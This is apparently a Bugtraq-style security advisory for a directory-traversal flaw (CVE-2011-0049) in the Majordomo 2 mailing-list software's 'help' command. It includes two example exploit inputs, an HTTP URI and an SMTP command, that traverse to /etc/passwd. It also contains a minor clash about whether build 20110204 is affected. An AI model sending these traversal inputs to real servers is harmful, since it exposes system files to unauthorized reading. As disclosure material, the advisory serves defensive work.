Majordomo 2 'help' Command Directory Traversal Vulnerability

Bugtraq ID:	46127
Class:	Input Validation Error
CVE:	CVE-2011-0049
Remote:	Yes
Local:	No
Published:	Feb 03 2011 12:00AM
Updated:	Mar 09 2011 07:57PM
Credit:	Michael Brooks
Vulnerable:	Majordomo 2 Majordomo 2 build 20110121 Majordomo 2 Majordomo 2 20110203
Not Vulnerable:	Majordomo 2 Majordomo 2 20110204

Majordomo 2 'help' Command Directory Traversal Vulnerability

Majordomo 2 is prone to a directory-traversal vulnerability because it fails to sufficiently sanitize user-supplied input.

Exploiting this issue will allow an attacker to view arbitrary local files within the context of the webserver. Information harvested may aid in launching further attacks.

Majordomo 2 builds 20110204 and prior are vulnerable.

Majordomo 2 'help' Command Directory Traversal Vulnerability

An attacker can exploit this issue with a web browser.

The following example URIs are available:

For HTTP:

http://www.example.com/cgi-bin/mj_wwwusr?passw=&list=GLOBAL&user=&func=help&extra=/../../../../../../../../etc/passwd

For SMTP:

help ../../../../../../../../../../../../../etc/passwd

Majordomo 2 'help' Command Directory Traversal Vulnerability

Solution:
Vendor updates are available. Please see the references for more information.

Majordomo 2 'help' Command Directory Traversal Vulnerability

References:

• Vendor Homepage (Majordomo 2)
  
• Bugzilla Security Advisory (Mozilla)
  
• Bugzilla Security Patch - Majordomo 2 Changelog (Mozilla)
  
• Vulnerability Note VU#363726 Majordomo 2 _list_file_get() directory traversal vu (US-CERT)